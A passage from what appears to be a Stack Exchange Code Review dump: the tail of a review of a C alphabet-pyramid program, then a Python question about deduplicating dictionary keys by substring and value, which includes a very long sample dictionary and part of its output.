"body": "If you wish to improve the algorithm, then Google \"Pascal's Triangle\". (You just print letters instead of digits.)"
}
] |
[
{
"body": "<h2>General Observations</h2>\n<p>The code works as long as the user puts in correct limited values.</p>\n<p>The indentation is a little off.</p>\n<p>You can decrease the vertical spacing quite a bit, most of the blank lines aren't necessary.</p>\n<h2>Answers</h2>\n<blockquote>\n<p>Will I face any problem for some conditions?</p>\n</blockquote>\n<p>If a user enters a negative number or a number greater than 100 this program will have problems with indexing. Always check user input for correctness and possible error conditions. The program will actually have problems if a user enters a number greater than 52 because there are only 26 letters in the alphabet.</p>\n<blockquote>\n<p>How can I simplify my solution?.</p>\n</blockquote>\n<p>You could break the program up into functions, it's not quite necessary with a program this simple, but it is getting close. Two obviously separate functions that could be implemented right now are <code>get_and_validate_user_input()</code> and <code>print_pyramid()</code>. While functions might seem to make the program more complex and longer each function would be a simpler implementation and building block of the overall implementation.</p>\n<blockquote>\n<p>Is it possible to solve this problem without using an array? Then what will be the strategy?.</p>\n</blockquote>\n<p>Yes. It would be possible to treat the numbers as a value in a range between 'A' and 'Z'.</p>\n<h2>One Declaration Per Line</h2>\n<p>This line in the code could cause problems in maintenance in a larger program</p>\n<pre><code>int space,num_of_rows,p=1,t=0;\n</code></pre>\n<p>Break it up into 3 lines and always initialize variables in C.</p>\n<pre><code>int space = 0;\nint num_of_rows = 0;\nint p = 1;\nint t = 0;\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T12:05:18.047",
"Id": "249730",
"ParentId": "249727",
"Score": "6"
}
}
] |
{
"AcceptedAnswerId": "249730",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T10:46:43.673",
"Id": "249727",
"Score": "2",
"Tags": [
"c"
],
"Title": "To construct a pyramid with uses of alphabets. Would you propose any better solution?"
}
|
249727
|
<p>I made the following snippet. It finds unique keys based on their values. For all keys <span class="math-container">\$s\$</span> that are contained in another key <span class="math-container">\$D\$</span> with the same value, key <span class="math-container">\$s\$</span> is discarded and key <span class="math-container">\$D\$</span> is returned.</p>
<pre><code>newdict = {}
for key1, value1 in mydict.items():
for key2, value2 in mydict.items():
if ((key1 in key2) and (value1 == value2)):
if key1 in newdict:
del newdict[key1]
newdict[key2] = value2
print(newdict)
</code></pre>
<pre class="lang-none prettyprint-override"><code>>>> mydict = {'d': 10, 'k': 10, 'n': 10, 'p': 10, 'j': 10, 'e': 10, 'q': 10, 'f': 10, 'z': 10, 'a': 10, 'i': 10, 'm': 10, 'o': 10, 'dk': 10, 'kn': 10, 'np': 10, 'pj': 10, 'je': 10, 'ek': 10, 'kq': 10, 'qf': 10, 'fp': 10, 'pd': 10, 'nz': 10, 'zq': 10, 'qj': 10, 'ja': 9, 'ap': 10, 'df': 10, 'fn': 10, 'nd': 10, 'ff': 10, 'fj': 10, 'jn': 10, 'nq': 10, 'qd': 10, 'di': 10, 'if': 10, 'nj': 10, 'jm': 10, 'mm': 10, 'ma': 10, 'af': 10, 'fm': 10, 'mf': 10, 'fi': 10, 'id': 10, 'dd': 10, 'da': 10, 'an': 10, 'dq': 10, 'qa': 10, 'jj': 10, 'jd': 10, 'dp': 10, 'pq': 10, 'de': 10, 'ei': 10, 'ik': 10, 'kp': 10, 'pa': 10, 'ad': 10, 'en': 10, 'nn': 10, 'pi': 10, 'ii': 10, 'io': 10, 'od': 10, 'do': 10, 'oz': 10, 'zp': 10, 'eq': 10, 'fd': 10, 'qz': 10, 'am': 10, 'mq': 9, 'fe': 10, 'dn': 10, 'ne': 10, 'ea': 10, 'no': 9, 'oi': 10, 'mi': 10, 'om': 10, 'md': 10, 'dj': 10, 'jf': 10, 'nk': 10, 'ka': 10, 'aa': 10, 'ak': 10, 'kf': 10, 'of': 10, 'pz': 10, 'po': 10, 'oa': 10, 'ee': 10, 'qe': 10, 'eo': 10, 'oo': 10, 'oq': 10, 'qq': 10, 'qk': 10, 'kd': 10, 'nm': 10, 'az': 10, 'zk': 10, 'pe': 10, 'fz': 10, 'ze': 10, 'ef': 10, 'fo': 10, 'dm': 10, 'mk': 10, 'kk': 10, 'kj': 9, 'jk': 10, 'qo': 10, 'qn': 10, 'na': 10, 'ai': 10, 'iq': 10, 'aq': 10, 'fk': 10, 'jp': 10, 'za': 10, 'mp': 10, 'qp': 9, 'pm': 10, 'pn': 10, 'ko': 9, 'op': 10, 'dz': 10, 'ed': 10, 'em': 10, 'jo': 10, 'mz': 10, 'zo': 9, 'km': 10, 'mj': 10, 'ke': 10, 'ej': 10, 'zm': 10, 'kz': 10, 'oj': 10, 'qi': 9, 'mn': 10, 'in': 10, 'iz': 10, 'zz': 10, 'zj': 9, 'pf': 10, 'fq': 10, 'qm': 10, 'me': 10, 'nf': 10, 'ie': 9, 'aj': 10, 'fa': 10, 'ni': 10, 'ae': 10, 'zd': 10, 'zn': 10, 'ia': 9, 'ao': 10, 'ok': 10, 'oe': 10, 'ij': 9, 'zi': 10, 'ji': 9, 'ep': 9, 'ki': 10, 'zf': 10, 'im': 9, 'ip': 10, 'mo': 10, 'ez': 10, 'jz': 9, 'on': 10, 'pk': 10, 'jq': 10, 'pp': 9, 'dkn': 5, 'npj': 4, 'pje': 4, 'jek': 4, 'kqf': 5, 'qfp': 4, 'fpd': 7, 'pdk': 4, 'qja': 5, 'jap': 4, 'apd': 4, 'pdf': 9, 'dfn': 9, 'fnd': 10, 'ndf': 7, 'dff': 8, 'ffj': 6, 'fjn': 7, 'jnq': 5, 'nqd': 6, 'qdi': 8, 'dif': 9, 'maf': 4, 'afm': 5, 'fmf': 5, 'mfi': 7, 'fid': 9, 'idd': 8, 'dda': 10, 'dan': 6, 'anp': 4, 'npd': 6, 'pdq': 4, 'qap': 5, 'dqj': 5, 'jjd': 5, 'jdp': 4, 'dpq': 6, 'pqd': 6, 'qde': 8, 'dei': 6, 'ikp': 5, 'pad': 6, 'adq': 4, 'dqd': 10, 'den': 5, 'enn': 4, 'pii': 4, 'iod': 5, 'odo': 5, 'doz': 7, 'deq': 7, 'qfd': 6, 'fdq': 7, 'dqz': 8, 'zpa': 7, 'eid': 7, 'idn': 8, 'dne': 5, 'nea': 4, 'oid': 7, 'ddd': 10, 'dam': 5, 'omd': 6, 'mdj': 6, 'djf': 6, 'jfn': 5, 'fnk': 7, 'aak': 4, 'akf': 5, 'kfd': 7, 'fdf': 10, 'dfp': 10, 'qdd': 8, 'ddo': 10, 'dof': 8, 'ofd': 10, 'fdp': 10, 'dpz': 7, 'poa': 6, 'oad': 8, 'ade': 6, 'dee': 6, 'ead': 8, 'adj': 5, 'djd': 10, 'jdq': 5, 'dqe': 6, 'qka': 5, 'akd': 6, 'kdq': 7, 'qdj': 4, 'jdn': 4, 'dnm': 6, 'nmd': 4, 'mda': 8, 'daz': 6, 'kqd': 6, 'qdp': 4, 'dpe': 7, 'ean': 4, 'njd': 5, 'jdf': 9, 'dfz': 6, 'fze': 6, 'fom': 5, 'mdp': 6, 'dpd': 8, 'pdm': 6, 'mkd': 4, 'kdk': 6, 'dkk': 8, 'kkj': 4, 'kjf': 4, 'jfj': 5, 'fjk': 6, 'jkd': 8, 'kdo': 5, 'dod': 6, 'odq': 6, 'dqo': 7, 'qod': 7, 'odf': 8, 'dfi': 8, 'fif': 6, 'iff': 7, 'aiq': 5, 'nzp': 5, 'zpd': 6, 'pdd': 9, 'ddf': 10, 'ffk': 6, 'fkj': 4, 'pid': 4, 'ddn': 10, 'dnz': 5, 'zaf': 6, 'afn': 5, 'fnm': 4, 'pqn': 5, 'qnp': 4, 'pmq': 4, 'pnp': 4, 'dko': 5, 'kof': 4, 'ofo': 4, 'fop': 5, 'opd': 4, 'fnq': 4, 'knm': 4, 'nmk': 5, 'pdz': 4, 'dze': 5, 'zed': 7, 'eda': 6, 'daa': 6, 'fde': 6, 'dem': 6, 'emq': 4, 'mqd': 4, 'djo': 5, 'opa': 5, 'paf': 4, 'afe': 4, 'eed': 6, 'edk': 4, 'dkd': 10, 'kda': 5, 'oif': 5, 'qda': 4, 'kmm': 4, 'ejf': 5, 'odz': 4, 'dzm': 6, 'zmf': 5, 'mfd': 7, 'fdd': 10, 'dfj': 8, 'fjj': 5, 'jjk': 6, 'kzo': 4, 'ojf': 4, 'jff': 4, 'ffd': 10, 'fdm': 8, 'dma': 5, 'maq': 4, 'qif': 5, 'ifo': 5, 'ofn': 6, 'fne': 5, 'ned': 6, 'ede': 8, 'ded': 10, 'edm': 8, 'dmn': 6, 'qin': 4, 'inp': 4, 'pnd': 7, 'ndi': 5, 'diz': 6, 'izz': 4, 'zjf': 6, 'jfz': 4, 'kjd': 6, 'jdm': 4, 'kde': 6, 'edj': 7, 'dfk': 7, 'fkd': 8, 'kdd': 10, 'dfd': 10, 'dfe': 7, 'fef': 7, 'eff': 6, 'dmp': 6, 'pef': 7, 'efj': 5, 'jnd': 5, 'ifd': 7, 'fda': 9, 'daq': 7, 'qqd': 5, 'jkj': 5, 'kja': 4, 'jad': 7, 'add': 10, 'ddq': 9, 'qdm': 7, 'dmd': 10, 'mdz': 5, 'fnz': 4, 'zpf': 4, 'pff': 7, 'ffq': 5, 'fqm': 4, 'ejd': 5, 'dmz': 6, 'anf': 6, 'nfd': 9, 'fdi': 8, 'noz': 4, 'jfq': 5, 'fqo': 5, 'iem': 5, 'emd': 6, 'dzk': 7, 'zkd': 6, 'daj': 6, 'ajn': 5, 'jnf': 4, 'nfa': 4, 'amd': 4, 'mdn': 7, 'dnq': 6, 'qdf': 8, 'dad': 7, 'adz': 8, 'edd': 8, 'doa': 9, 'adn': 4, 'dni': 6, 'efp': 4, 'ekd': 4, 'doq': 5, 'diq': 6, 'iqz': 4, 'qzz': 5, 'zdp': 7, 'pzz': 5, 'zdn': 5, 'dnn': 7, 'pzk': 4, 'keq': 5, 'end': 4, 'ndm': 5, 'iaa': 4, 'ajm': 5, 'jmd': 6, 'mdm': 5, 'mpd': 5, 'pde': 6, 'dea': 9, 'eak': 4, 'akz': 4, 'zjo': 5, 'jde': 5, 'enq': 5, 'nqf': 6, 'ifa': 4, 'qdq': 9, 'dqi': 7, 'qid': 4, 'idf': 7, 'fnp': 7, 'npq': 4, 'dpm': 7, 'mde': 8, 'eqo': 4, 'qoo': 4, 'oom': 5, 'odn': 4, 'enf': 5, 'nfi': 5, 'fik': 7, 'ikd': 4, 'kdp': 7, 'dpi': 6, 'ijd': 5, 'zid': 6, 'idq': 9, 'jji': 7, 'ifp': 6, 'fpz': 7, 'pzd': 5, 'zdd': 8, 'dde': 7, 'dep': 6, 'epm': 4, 'odj': 5, 'ddm': 9, 'doi': 5, 'oqe': 6, 'aoq': 4, 'dfo': 9, 'foz': 4, 'zof': 4, 'ofq': 4, 'fqe': 4, 'qef': 6, 'efk': 5, 'dnf': 8, 'nfe': 5, 'fed': 8, 'edq': 6, 'dqp': 7, 'pzf': 5, 'zfz': 6, 'zod': 5, 'oda': 6, 'dao': 8, 'aod': 9, 'dop': 10, 'dkf': 9, 'kfp': 6, 'fpi': 6, 'aio': 4, 'odd': 9, 'dnp': 6, 'edp': 4, 'piq': 5, 'pjd': 6, 'fkn': 8, 'ifq': 6, 'fqz': 6, 'qzm': 5, 'zmd': 8, 'dkm': 8, 'kmd': 7, 'nei': 4, 'pfk': 4, 'fke': 7, 'knn': 5, 'nnd': 5, 'ndd': 9, 'ddp': 9, 'mom': 4, 'zqm': 4, 'qmd': 5, 'mdf': 5, 'ffz': 7, 'edn': 4, 'odm': 5, 'fpo': 6, 'oqd': 5, 'qdk': 9, 'kdi': 6, 'din': 7, 'qfa': 4, 'faq': 4, 'aqm': 4, 'mnn': 6, 'nnq': 5, 'qdo': 6, 'odi': 7, 'die': 5, 'ezd': 6, 'zdo': 7, 'ofz': 6, 'fzd': 7, 'zdq': 5, 'azd': 5, 'dpa': 7, 'pme': 5, 'mep': 4, 'dqf': 7, 'jzq': 4, 'qzj': 4, 'zjd': 6, 'djj': 6, 'jef': 7, 'efd': 9, 'fdz': 9, 'dzn': 5, 'nia': 4, 'iad': 5, 'zmo': 5, 'moo': 4, 'oon': 4, 'pdj': 5, 'djp': 7, 'pod': 7, 'fdn': 9, 'jpf': 5, 'pfd': 7, 'dpk': 7, 'pke': 6, 'ekk': 4, 'kkf': 8, 'kff': 5, 'fff': 7, 'fon': 6, 'qpd': 4, 'djq': 6, 'qqo': 4, 'qon': 4, 'zfn': 5, 'nke': 4, 'ked': 6, 'eod': 4, 'ode': 7, 'dez': 7, 'ezi': 4, 'imf': 6, 'mpn': 7, 'oqk': 4, 'jfd': 8, 'ifm': 5, 'fdj': 10, 'ffm': 9, 'zzk': 5, 'zkf': 5, 'kfk': 4, 'fka': 4, 'kad': 6, 'adm': 6, 'dmf': 9, 'mff': 6, 'ffn': 5, 'ffe': 6, 'efn': 4, 'nip': 4, 'ipm': 4, 'afd': 10, 'dfm': 8, 'med': 6, 'edf': 7, 'dzd': 8, 'ddk': 9, 'dkj': 4, 'dik': 7, 'ikm': 4, 'kmn': 4, 'jid': 4, 'ido': 6, 'off': 6, 'ffa': 7, 'faa': 4, 'adp': 6, 'mze': 4, 'edz': 4, 'zda': 6, 'aop': 5, 'opo': 4, 'eqd': 6, 'ppe': 4, 'pej': 4, 'jaz': 4, 'epa': 4, 'emj': 4, 'npo': 4, 'poz': 4, 'aaf': 4, 'afk': 4, 'knd': 6, 'dna': 4, 'nqq': 4, 'dnj': 4, 'aff': 5, 'qei': 5, 'idm': 7, 'okp': 6, 'qff': 6, 'epn': 4, 'qjf': 5, 'did': 8, 'odp': 5, 'dpj': 6, 'qkm': 5, 'moj': 5, 'ojd': 5, 'edo': 7, 'dok': 6, 'oki': 4, 'fjd': 8, 'nmz': 4, 'nfn': 4, 'mak': 5, 'dzp': 5, 'kno': 4, 'ozd': 8, 'ddz': 9, 'dzf': 7, 'dej': 5, 'iqf': 4, 'iin': 4, 'ind': 6, 'ndp': 4, 'kzd': 5, 'zdf': 8, 'onf': 5, 'fqd': 8, 'dij': 5, 'mpf': 6, 'ffi': 5, 'ife': 9, 'doo': 7, 'ooe': 4, 'nif': 7, 'ifi': 5, 'ide': 6, 'kdf': 8, 'zfm': 4, 'fmd': 6, 'oai': 4, 'aif': 4, 'ifj': 6, 'fja': 4, 'jai': 5, 'qnd': 6, 'fod': 6, 'fae': 6, 'nkf': 6, 'zno': 5, 'qkd': 5, 'dqn': 5, 'nek': 4, 'kak': 5, 'kid': 6, 'idj': 8, 'dji': 6, 'pni': 4, 'nid': 6, 'idz': 5, 'fmn': 4, 'fpn': 5, 'nad': 8, 'mnd': 6, 'dpp': 6, 'ppd': 6, 'dkp': 4, 'pmj': 5, 'jkq': 4, 'qfk': 4, 'zqd': 7, 'zfj': 6, 'fjm': 4, 'ien': 4, 'nod': 5, 'fzp': 4, 'ina': 5, 'jdz': 5, 'zdi': 8, 'dia': 6, 'ndq': 5, 'fdk': 9, 'kmq': 5, 'jof': 4, 'pfq': 4, 'fqi': 4, 'njz': 4, 'zme': 6, 'mef': 5, 'efi': 4, 'fqf': 5, 'epd': 4, 'pda': 7, 'dmo': 6, 'mod': 6, 'zdm': 4, 'dmm': 4, 'mmo': 5, 'mon': 4, 'oni': 4, 'jdd': 8, 'ddi': 7, 'ffp': 6, 'fjf': 8, 'jfm': 6, 'odk': 4, 'dkz': 8, 'jmf': 4, 'aed': 7, 'dkq': 5, 'qfz': 5, 'mko': 4, 'okn': 5, 'dpo': 6, 'dnd': 8, 'ndo': 7, 'don': 5, 'aan': 5, 'fkq': 4, 'def': 6, 'fnn': 5, 'nnf': 6, 'pjk': 4, 'mfa': 6, 'fao': 5, 'nao': 5, 'aoi': 5, 'naj': 5, 'ied': 7, 'jzo': 4, 'fen': 5, 'iif': 5, 'jnn': 7, 'nne': 6, 'fqa': 5, 'apf': 5, 'aei': 5, 'idp': 7, 'zji': 4, 'jqf': 5, 'eai': 4, 'ijj': 4, 'iao': 6, 'deo': 4, 'ooz': 4, 'ozm': 4, 'oin': 4, 'ndz': 6, 'fje': 4, 'fdo': 6, 'iqd': 6, 'pfj': 4, 'dqm': 6, 'fan': 5, 'zfo': 5, 'ooj': 4, 'fof': 7, 'epj': 4, 'jdi': 7, 'pdo': 8, 'edi': 6, 'ika': 4, 'ajf': 5, 'jfp': 6, 'fpk': 8, 'pka': 4, 'ook': 4, 'pfa': 5, 'fad': 8, 'nqn': 5, 'aqd': 6, 'aee': 4, 'ema': 4, 'fej': 4, 'nfp': 6, 'njf': 5, 'fmo': 4, 'oef': 4, 'qdz': 5, 'zmp': 5, 'ejm': 4, 'jmj': 5, 'mjf': 4, 'jfe': 4, 'dfq': 7, 'pmp': 4, 'ozf': 4, 'zff': 6, 'fmk': 5, 'dae': 7, 'oed': 4, 'zjn': 4, 'kif': 4, 'zna': 5, 'fzf': 5, 'zfd': 7, 'nef': 5, 'efq': 4, 'fqk': 4, 'pmf': 4, 'mfe': 4, 'ond': 7, 'dpn': 6, 'pnf': 6, 'nfz': 4, 'pnk': 5, 'nkd': 6, 'fmm': 5, 'ipd': 5, 'ado': 6, 'oaf': 5, 'qzi': 4, 'adk': 6, 'dqq': 4, 'ada': 5, 'azn': 4, 'znf': 5, 'fii': 6, 'pfo': 5, 'kpf': 4, 'fkk': 4, 'kkd': 5, 'dqk': 4, 'ijk': 5, 'mnz': 5, 'kpd': 6, 'dai': 5, 'aip': 4, 'efa': 6, 'pdi': 5, 'zem': 4, 'emf': 4, 'dza': 5, 'dio': 6, 'iof': 4, 'omi': 4, 'mid': 6, 'daf': 8, 'afp': 4, 'fpe': 6, 'efz': 5, 'ekp': 4, 'pdp': 7, 'zif': 6, 'kjk': 4, 'koo': 4, 'kfe': 5, 'ddj': 6, 'dja': 5, 'mdd': 5, 'djn': 6, 'kem': 4, 'pdn': 5, 'ndn': 4, 'nmf': 4, 'okd': 4, 'kdn': 5, 'znm': 4, 'afi': 7, 'fie': 5, 'eij': 4, 'inn': 4, 'nna': 5, 'nan': 4, 'kqp': 5, 'ndk': 5, 'kmp': 5, 'pmz': 4, 'mzf': 4, 'dfa': 7, 'qmz': 4, 'mzd': 4, 'zfi': 4, 'iid': 4, 'dka': 5, 'qof': 4, 'kpe': 4, 'pkf': 6, 'kqa': 4, 'qaj': 5, 'mfj': 5, 'dki': 4, 'foj': 4, 'knj': 4, 'nzj': 6, 'jpn': 4, 'aie': 5, 'ief': 4, 'qak': 4, 'oof': 5, 'ofi': 4, 'fiq': 4, 'qdn': 6, 'pnz': 4, 'nze': 4, 'zfp': 4, 'nzf': 4, 'nff': 5, 'mfq': 4, 'fqn': 4, 'mdi': 6, 'amm': 6, 'izd': 7, 'kzf': 5, 'jda': 7, 'amo': 4, 'fmi': 6, 'ikf': 4, 'nmn': 5, 'nzd': 6, 'mad': 4, 'adi': 4, 'dip': 7, 'mkk': 5, 'qnn': 4, 'pik': 4, 'ipo': 4, 'nde': 4, 'emp': 4, 'mpk': 4, 'qmj': 5, 'nnk': 5, 'nkm': 4, 'qfm': 5, 'dom': 5, 'ini': 4, 'adf': 5, 'faf': 6, 'djm': 5, 'fai': 4, 'aid': 5, 'idi': 4, 'ajd': 5, 'jdo': 5, 'kpo': 4, 'pfi': 4, 'fmp': 4, 'zqa': 5, 'qoe': 4, 'ikk': 4, 'jqd': 4, 'kmf': 4, 'ofm': 4, 'eii': 4, 'iip': 4, 'iqe': 4, 'qea': 5, 'and': 4, 'mqq': 4, 'kfn': 4, 'mei': 5, 'oja': 4, 'jam': 4, 'mpm': 4, 'iej': 4, 'kkn': 4, 'zde': 4, 'eie': 4, 'fzn': 4, 'zdk': 4, 'eaf': 5, 'fjq': 4, 'mfn': 5, 'mzm': 5, 'qaf': 4, 'nda': 5, 'dpf': 6, 'aoa': 4, 'afq': 4, 'qoj': 4, 'eje': 4, 'ppz': 4, 'znd': 5, 'pjn': 4, 'opn': 4, 'fiz': 4, 'qmf': 4, 'qed': 4, 'kmi': 4, 'aad': 4, 'fkm': 4, 'mdq': 5, 'mjd': 4, 'dke': 4, 'dap': 4, 'pjf': 6, 'mop': 5, 'mpj': 5, 'ofa': 4, 'fem': 4, 'eof': 5, 'pkd': 4, 'pkq': 4, 'qpk': 4, 'dfnd': 5, 'fndf': 4, 'iddd': 5, 'ddda': 6, 'poad': 5, 'mdpd': 4, 'fjkd': 4, 'dfif': 4, 'zpdd': 4, 'ddff': 4, 'dddn': 5, 'dzed': 4, 'fddf': 6, 'djdf': 4, 'fkdd': 4, 'ddfd': 5, 'dfdf': 6, 'fdfe': 4, 'difd': 4, 'dzkd': 4, 'qdfd': 4, 'fdfd': 6, 'dfda': 4, 'doad': 4, 'ijdf': 4, 'dqdd': 6, 'dnfe': 4, 'daod': 5, 'dddm': 5, 'qdqd': 4, 'zddd': 5, 'dddd': 8, 'dddp': 5, 'fdfj': 4, 'jefd': 4, 'fdzn': 4, 'dfdn': 5, 'fdnf': 5, 'fdda': 4, 'dpke': 4, 'mafd': 4, 'dffd': 5, 'dzdo': 4, 'idmd': 4, 'dedd': 4, 'ifed': 4, 'dddk': 5, 'ddkd': 4, 'dkdf': 4, 'dfdd': 5, 'fddp': 5, 'ddpk': 5, 'ndfo': 4, 'efdd': 5, 'nddd': 6, 'dppd': 4, 'dadd': 4, 'ddmo': 4, 'ddqd': 4, 'dqdf': 4, 'ffmd': 4, 'mfan': 4, 'dfdk': 4, 'fdkd': 6, 'oddd': 4, 'didd': 4, 'ddaf': 6, 'ffdd': 4, 'dkmp': 4, 'fdid': 4, 'idnd': 4, 'didp': 5, 'addz': 5, 'kzfd': 4, 'dffm': 4, 'pdfd': 4, 'dddf': 4, 'ofdd': 6, 'fmdp': 4, 'ddkk': 4, 'dndd': 4, 'ddkf': 6, 'fjdf': 4, 'dfpk': 5, 'ndad': 4, 'fddd': 5, 'idfd': 4, 'dfdfd': 4, 'ndddd': 4}
>>> ...
{'kn': 10, 'np': 10, 'pj': 10, 'je': 10, 'ek': 10, 'kq': 10, 'qf': 10, 'pd': 10, 'nz': 10, 'zq': 10, 'qj': 10, 'ja': 9, 'ap': 10, 'fj': 10, 'jn': 10, 'nq': 10, 'di': 10, 'if': 10, 'nj': 10, 'jm': 10, 'mm': 10, 'ma': 10, 'fm': 10, 'mf': 10, 'fi': 10, 'id': 10, 'an': 10, 'qa': 10, 'jj': 10, 'pq': 10, 'ei': 10, 'ik': 10, 'kp': 10, 'pa': 10, 'en': 10, 'nn': 10, 'pi': 10, 'ii': 10, 'io': 10, 'od': 10, 'oz': 10, 'zp': 10, 'eq': 10, 'qz': 10, 'am': 10, 'mq': 9, 'fe': 10, 'ne': 10, 'ea': 10, 'no': 9, 'oi': 10, 'mi': 10, 'om': 10, 'jf': 10, 'nk': 10, 'ka': 10, 'aa': 10, 'ak': 10, 'kf': 10, 'pz': 10, 'po': 10, 'oa': 10, 'ee': 10, 'qe': 10, 'eo': 10, 'oo': 10, 'oq': 10, 'qq': 10, 'qk': 10, 'nm': 10, 'az': 10, 'zk': 10, 'pe': 10, 'fz': 10, 'ze': 10, 'ef': 10, 'fo': 10, 'mk': 10, 'kk': 10, 'kj': 9, 'jk': 10, 'qo': 10, 'qn': 10, 'na': 10, 'ai': 10, 'iq': 10, 'aq': 10, 'fk': 10, 'jp': 10, 'za': 10, 'mp': 10, 'qp': 9, 'pm': 10, 'pn': 10, 'ko': 9, 'dz': 10, 'em': 10, 'jo': 10, 'mz': 10, 'zo': 9, 'km': 10, 'mj': 10, 'ke': 10, 'ej': 10, 'zm': 10, 'kz': 10, 'oj': 10, 'qi': 9, 'mn': 10, 'in': 10, 'iz': 10, 'zz': 10, 'zj': 9, 'pf': 10, 'fq': 10, 'qm': 10, 'me': 10, 'nf': 10, 'ie': 9, 'aj': 10, 'fa': 10, 'ni': 10, 'ae': 10, 'zd': 10, 'zn': 10, 'ia': 9, 'ao': 10, 'ok': 10, 'oe': 10, 'ij': 9, 'zi': 10, 'ji': 9, 'ep': 9, 'ki': 10, 'zf': 10, 'im': 9, 'ip': 10, 'mo': 10, 'ez': 10, 'jz': 9, 'on': 10, 'pk': 10, 'jq': 10, 'pp': 9, 'dkn': 5, 'npj': 4, 'pje': 4, 'jek': 4, 'kqf': 5, 'qfp': 4, 'fpd': 7, 'pdk': 4, 'qja': 5, 'jap': 4, 'apd': 4, 'pdf': 9, 'dfn': 9, 'fnd': 10, 'ndf': 7, 'dff': 8, 'ffj': 6, 'fjn': 7, 'jnq': 5, 'nqd': 6, 'qdi': 8, 'dif': 9, 'afm': 5, 'fmf': 5, 'mfi': 7, 'fid': 9, 'idd': 8, 'dda': 10, 'dan': 6, 'anp': 4, 'npd': 6, 'pdq': 4, 'qap': 5, 'dqj': 5, 'jjd': 5, 'jdp': 4, 'dpq': 6, 'pqd': 6, 'qde': 8, 'dei': 6, 'ikp': 5, 'pad': 6, 'adq': 4, 'dqd': 10, 'den': 5, 'enn': 4, 'pii': 4, 'iod': 5, 'odo': 5, 'doz': 7, 'deq': 7, 'qfd': 6, 'fdq': 7, 'dqz': 8, 'zpa': 7, 'eid': 7, 'idn': 8, 'dne': 5, 'nea': 4, 'oid': 7, 'ddd': 10, 'dam': 5, 'omd': 6, 'mdj': 6, 'djf': 6, 'jfn': 5, 'fnk': 7, 'aak': 4, 'akf': 5, 'kfd': 7, 'fdf': 10, 'dfp': 10, 'qdd': 8, 'ddo': 10, 'dof': 8, 'ofd': 10, 'fdp': 10, 'dpz': 7, 'poa': 6, 'oad': 8, 'ade': 6, 'dee': 6, 'ead': 8, 'adj': 5, 'djd': 10, 'jdq': 5, 'dqe': 6, 'qka': 5, 'akd': 6, 'kdq': 7, 'qdj': 4, 'jdn': 4, 'dnm': 6, 'nmd': 4, 'mda': 8, 'daz': 6, 'kqd': 6, 'qdp': 4, 'dpe': 7, 'ean': 4, 'njd': 5, 'jdf': 9, 'dfz': 6, 'fze': 6, 'fom': 5, 'mdp': 6, 'dpd': 8, 'pdm': 6, 'mkd': 4, 'kdk': 6, 'dkk': 8, 'kkj': 4, 'kjf': 4, 'jfj': 5, 'fjk': 6, 'jkd': 8, 'kdo': 5, 'dod': 6, 'odq': 6, 'dqo': 7, 'qod': 7, 'odf': 8, 'dfi': 8, 'fif': 6, 'iff': 7, 'aiq': 5, 'nzp': 5, 'zpd': 6, 'pdd': 9, 'ddf': 10, 'ffk': 6, 'fkj': 4, 'pid': 4, 'ddn': 10, 'dnz': 5, 'zaf': 6, 'afn': 5, 'fnm': 4, 'pqn': 5, 'qnp': 4, 'pmq': 4, 'pnp': 4, 'dko': 5, 'kof': 4, 'ofo': 4, 'fop': 5, 'opd': 4, 'fnq': 4, 'knm': 4, 'nmk': 5, 'pdz': 4, 'dze': 5, 'zed': 7, 'eda': 6, 'daa': 6, 'fde': 6, 'dem': 6, 'emq': 4, 'mqd': 4, 'djo': 5, 'opa': 5, 'paf': 4, 'afe': 4, 'eed': 6, 'edk': 4, 'dkd': 10, 'kda': 5, 'oif': 5, 'qda': 4, 'kmm': 4, 'ejf': 5, 'odz': 4, 'dzm': 6, 'zmf': 5, 'mfd': 7, 'fdd': 10, 'dfj': 8, 'fjj': 5, 'jjk': 6, 'kzo': 4, 'ojf': 4, 'jff': 4, 'ffd': 10, 'fdm': 8, 'dma': 5, 'maq': 4, 'qif': 5, 'ifo': 5, 'ofn': 6, 'fne': 5, 'ned': 6, 'ede': 8, 'ded': 10, 'edm': 8, 'dmn': 6, 'qin': 4, 'inp': 4, 'pnd': 7, 'ndi': 5, 'diz': 6, 'izz': 4, 'zjf': 6, 'jfz': 4, 'kjd': 6, 'jdm': 4, 'kde': 6, 'edj': 7, 'dfk': 7, 'fkd': 8, 'kdd': 10, 'dfd': 10, 'dfe': 7, 'fef': 7, 'eff': 6, 'dmp': 6, 'pef': 7, 'efj': 5, 'jnd': 5, 'ifd': 7, 'fda': 9, 'daq': 7, 'qqd': 5, 'jkj': 5, 'kja': 4, 'jad': 7, 'add': 10, 'ddq': 9, 'qdm': 7, 'dmd': 10, 'mdz': 5, 'fnz': 4, 'zpf': 4, 'pff': 7, 'ffq': 5, 'fqm': 4, 'ejd': 5, 'dmz': 6, 'anf': 6, 'nfd': 9, 'fdi': 8, 'noz': 4, 'jfq': 5, 'fqo': 5, 'iem': 5, 'emd': 6, 'dzk': 7, 'zkd': 6, 'daj': 6, 'ajn': 5, 'jnf': 4, 'nfa': 4, 'amd': 4, 'mdn': 7, 'dnq': 6, 'qdf': 8, 'dad': 7, 'adz': 8, 'edd': 8, 'doa': 9, 'adn': 4, 'dni': 6, 'efp': 4, 'ekd': 4, 'doq': 5, 'diq': 6, 'iqz': 4, 'qzz': 5, 'zdp': 7, 'pzz': 5, 'zdn': 5, 'dnn': 7, 'pzk': 4, 'keq': 5, 'end': 4, 'ndm': 5, 'iaa': 4, 'ajm': 5, 'jmd': 6, 'mdm': 5, 'mpd': 5, 'pde': 6, 'dea': 9, 'eak': 4, 'akz': 4, 'zjo': 5, 'jde': 5, 'enq': 5, 'nqf': 6, 'ifa': 4, 'qdq': 9, 'dqi': 7, 'qid': 4, 'idf': 7, 'fnp': 7, 'npq': 4, 'dpm': 7, 'mde': 8, 'eqo': 4, 'qoo': 4, 'oom': 5, 'odn': 4, 'enf': 5, 'nfi': 5, 'fik': 7, 'ikd': 4, 'kdp': 7, 'dpi': 6, 'ijd': 5, 'zid': 6, 'idq': 9, 'jji': 7, 'ifp': 6, 'fpz': 7, 'pzd': 5, 'zdd': 8, 'dde': 7, 'dep': 6, 'epm': 4, 'odj': 5, 'ddm': 9, 'doi': 5, 'oqe': 6, 'aoq': 4, 'dfo': 9, 'foz': 4, 'zof': 4, 'ofq': 4, 'fqe': 4, 'qef': 6, 